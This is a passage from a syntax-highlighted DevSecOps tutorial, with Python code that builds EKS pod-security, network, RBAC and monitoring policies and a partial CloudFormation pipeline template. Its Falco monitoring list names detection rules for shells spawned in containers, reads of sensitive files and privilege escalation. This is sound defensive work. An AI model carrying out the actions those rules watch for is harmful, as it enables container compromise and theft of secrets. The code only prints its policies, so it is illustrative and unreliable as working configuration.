                <span class="sh">'</span><span class="s">cluster_arn</span><span class="sh">'</span><span class="p">:</span> <span class="n">cluster_response</span><span class="p">[</span><span class="sh">'</span><span class="s">cluster</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">arn</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">created</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">security_features</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">'</span><span class="s">Private API endpoint</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Envelope encryption enabled</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Comprehensive logging</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Network isolation</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">RBAC configured</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Security policies applied</span><span class="sh">'</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">apply_security_policies</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">cluster_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Apply Kubernetes security policies</span><span class="sh">"""</span>
        
        <span class="c1"># Pod Security Standards
</span>        <span class="n">pod_security_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">apiVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">v1</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kind</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Namespace</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">secure-namespace</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">labels</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">pod-security.kubernetes.io/enforce</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">pod-security.kubernetes.io/audit</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">pod-security.kubernetes.io/warn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="c1"># Network Policy
</span>        <span class="n">network_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">apiVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">networking.k8s.io/v1</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kind</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">NetworkPolicy</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">default-deny-all</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">secure-namespace</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">spec</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">podSelector</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
                <span class="sh">'</span><span class="s">policyTypes</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">Ingress</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Egress</span><span class="sh">'</span><span class="p">]</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="c1"># Security Context Constraints
</span>        <span class="n">security_context_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">apiVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">v1</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kind</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecurityContextConstraints</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">restricted-scc</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">allowHostDirVolumePlugin</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">allowHostIPC</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">allowHostNetwork</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">allowHostPID</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">allowPrivilegedContainer</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">allowedCapabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">defaultAddCapabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">requiredDropCapabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">ALL</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">runAsUser</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MustRunAsNonRoot</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">seLinuxContext</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MustRunAs</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">fsGroup</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MustRunAs</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="c1"># Apply policies (in real implementation, would use kubectl or Kubernetes API)
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Applied security policies to cluster </span><span class="si">{</span><span class="n">cluster_name</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">configure_rbac</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">cluster_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Configure Role-Based Access Control</span><span class="sh">"""</span>
        
        <span class="c1"># Developer role with limited permissions
</span>        <span class="n">developer_role</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">apiVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">rbac.authorization.k8s.io/v1</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kind</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Role</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">development</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">developer-role</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">apiGroups</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">''</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">pods</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">services</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">configmaps</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">verbs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">get</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">list</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">create</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">update</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">watch</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">apiGroups</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">apps</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">deployments</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">replicasets</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">verbs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">get</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">list</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">create</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">update</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">watch</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="c1"># Security admin cluster role
</span>        <span class="n">security_admin_role</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">apiVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">rbac.authorization.k8s.io/v1</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kind</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ClusterRole</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security-admin-role</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">apiGroups</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">''</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">*</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">verbs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">*</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">apiGroups</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbac.authorization.k8s.io</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">*</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">verbs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">*</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">apiGroups</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">networking.k8s.io</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">networkpolicies</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">verbs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">*</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Configured RBAC for cluster </span><span class="si">{</span><span class="n">cluster_name</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">setup_cluster_monitoring</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">cluster_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Setup comprehensive cluster monitoring</span><span class="sh">"""</span>
        
        <span class="c1"># CloudWatch Container Insights
</span>        <span class="n">monitoring_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">cluster_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">cluster_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">cloudwatch_insights</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">prometheus_metrics</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">fluent_bit_logging</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">security_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
        <span class="p">}</span>
        
        <span class="c1"># Falco for runtime security monitoring
</span>        <span class="n">falco_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">enabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">rules</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">shell_spawned_in_container</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">write_below_binary_dir</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">read_sensitive_file_untrusted</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">write_below_etc</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Setup monitoring for cluster </span><span class="si">{</span><span class="n">cluster_name</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">monitoring_config</span>

    <span class="k">def</span> <span class="nf">get_account_id</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get current AWS account ID</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">sts</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sts</span><span class="sh">'</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">sts</span><span class="p">.</span><span class="nf">get_caller_identity</span><span class="p">()[</span><span class="sh">'</span><span class="s">Account</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">'</span><span class="s">123456789012</span><span class="sh">'</span>

<span class="c1"># Example usage
</span><span class="n">eks_security</span> <span class="o">=</span> <span class="nc">EKSSecurityManager</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="cicd-security-automation-cloudformation">CI/CD Security Automation CloudFormation</h2>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
</pre></td><td class="rouge-code"><pre><span class="na">AWSTemplateFormatVersion</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2010-09-09'</span>
<span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Complete</span><span class="nv"> </span><span class="s">DevSecOps</span><span class="nv"> </span><span class="s">Pipeline</span><span class="nv"> </span><span class="s">with</span><span class="nv"> </span><span class="s">Integrated</span><span class="nv"> </span><span class="s">Security'</span>

<span class="na">Parameters</span><span class="pi">:</span>
  <span class="na">RepositoryName</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Name of the CodeCommit repository</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">secure-application</span>
  
  <span class="na">ArtifactBucketName</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">S3 bucket for pipeline artifacts</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">devsecops-pipeline-artifacts</span>
  
  <span class="na">NotificationEmail</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Email for security notifications</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">security@company.com</span>

<span class="na">Resources</span><span class="pi">:</span>
  <span class="c1"># S3 Bucket for Pipeline Artifacts</span>
  <span class="na">ArtifactStore</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::S3::Bucket</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">BucketName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ArtifactBucketName}-${AWS::AccountId}'</span>
      <span class="na">BucketEncryption</span><span class="pi">:</span>
        <span class="na">ServerSideEncryptionConfiguration</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">ServerSideEncryptionByDefault</span><span class="pi">:</span>
              <span class="na">SSEAlgorithm</span><span class="pi">:</span> <span class="s">aws:kms</span>
              <span class="na">KMSMasterKeyID</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PipelineKMSKey</span>
      <span class="na">VersioningConfiguration</span><span class="pi">:</span>
        <span class="na">Status</span><span class="pi">:</span> <span class="s">Enabled</span>
      <span class="na">PublicAccessBlockConfiguration</span><span class="pi">:</span>
        <span class="na">BlockPublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">BlockPublicPolicy</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">IgnorePublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">RestrictPublicBuckets</span><span class="pi">:</span> <span class="kc">true</span>

  <span class="c1"># KMS Key for Pipeline Encryption</span>
  <span class="na">PipelineKMSKey</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::KMS::Key</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Description</span><span class="pi">:</span> <span class="s">KMS Key for DevSecOps Pipeline encryption</span>
      <span class="na">KeyPolicy</span><span class="pi">:</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Sid</span><span class="pi">:</span> <span class="s">Enable IAM User Permissions</span>
            <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">AWS</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:iam::${AWS::AccountId}:root'</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s1">'</span><span class="s">kms:*'</span>
            <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
          <span class="pi">-</span> <span class="na">Sid</span><span class="pi">:</span> <span class="s">Allow CodePipeline Service</span>
            <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">codepipeline.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="s">kms:Decrypt</span>
              <span class="pi">-</span> <span class="s">kms:GenerateDataKey</span>
            <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>

  <span class="c1"># CodeCommit Repository</span>
  <span class="na">SecureRepository</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CodeCommit::Repository</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RepositoryName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">RepositoryName</span>
      <span class="na">RepositoryDescription</span><span class="pi">:</span> <span class="s">Secure application repository with DevSecOps integration</span>
      <span class="na">Code</span><span class="pi">:</span>
        <span class="na">S3</span><span class="pi">:</span>
          <span class="na">Bucket</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ArtifactStore</span>
          <span class="na">Key</span><span class="pi">:</span> <span class="s">initial-code.zip</span>
      <span class="na">Triggers</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">PipelineTrigger</span>
          <span class="na">DestinationArn</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:sns:${AWS::Region}:${AWS::AccountId}:devsecops-alerts'</span>
          <span class="na">Events</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">createReference</span>
            <span class="pi">-</span> <span class="s">updateReference</span>

  <span class="c1"># ECR Repository for Container Images</span>
  <span class="na">ContainerRepository</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::ECR::Repository</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RepositoryName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${RepositoryName}-secure'</span>
      <span class="na">ImageTagMutability</span><span class="pi">:</span> <span class="s">IMMUTABLE</span>
      <span class="na">ImageScanningConfiguration</span><span class="pi">:</span>
        <span class="na">ScanOnPush</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">EncryptionConfiguration</span><span class="pi">:</span>
        <span class="na">EncryptionType</span><span class="pi">:</span> <span class="s">KMS</span>
        <span class="na">KmsKey</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PipelineKMSKey</span>
      <span class="na">LifecyclePolicy</span><span class="pi">:</span>
        <span class="na">LifecyclePolicyText</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">{</span>
            <span class="s">"rules": [</span>
              <span class="s">{</span>
                <span class="s">"rulePriority": 1,</span>
                <span class="s">"description": "Keep last 10 production images",</span>
                <span class="s">"selection": {</span>
                  <span class="s">"tagStatus": "tagged",</span>
                  <span class="s">"tagPrefixList": ["prod"],</span>
                  <span class="s">"countType": "imageCountMoreThan",</span>
                  <span class="s">"countNumber": 10</span>
                <span class="s">},</span>
                <span class="s">"action": {</span>
                  <span class="s">"type": "expire"</span>
                <span class="s">}</span>
              <span class="s">},</span>
              <span class="s">{</span>
                <span class="s">"rulePriority": 2,</span>
                <span class="s">"description": "Delete untagged images older than 1 day",</span>
                <span class="s">"selection": {</span>
                  <span class="s">"tagStatus": "untagged",</span>
                  <span class="s">"countType": "sinceImagePushed",</span>
                  <span class="s">"countUnit": "days",</span>
                  <span class="s">"countNumber": 1</span>
                <span class="s">},</span>
                <span class="s">"action": {</span>
                  <span class="s">"type": "expire"</span>
                <span class="s">}</span>
              <span class="s">}</span>
            <span class="s">]</span>
          <span class="s">}</span>

  <span class="c1"># SNS Topic for Security Alerts</span>
  <span class="na">SecurityAlertsTopic</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SNS::Topic</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TopicName</span><span class="pi">:</span> <span class="s">devsecops-alerts</span>
      <span class="na">DisplayName</span><span class="pi">:</span> <span class="s">DevSecOps Security Alerts</span>
      <span class="na">KmsMasterKeyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PipelineKMSKey</span>
      <span class="na">Subscription</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Endpoint</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">NotificationEmail</span>
          <span class="na">Protocol</span><span class="pi">:</span> <span class="s">email</span>

  <span class="c1"># IAM Role for CodePipeline</span>
  <span class="na">CodePipelineRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RoleName</span><span class="pi">:</span> <span class="s">DevSecOps-CodePipeline-Role</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">codepipeline.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
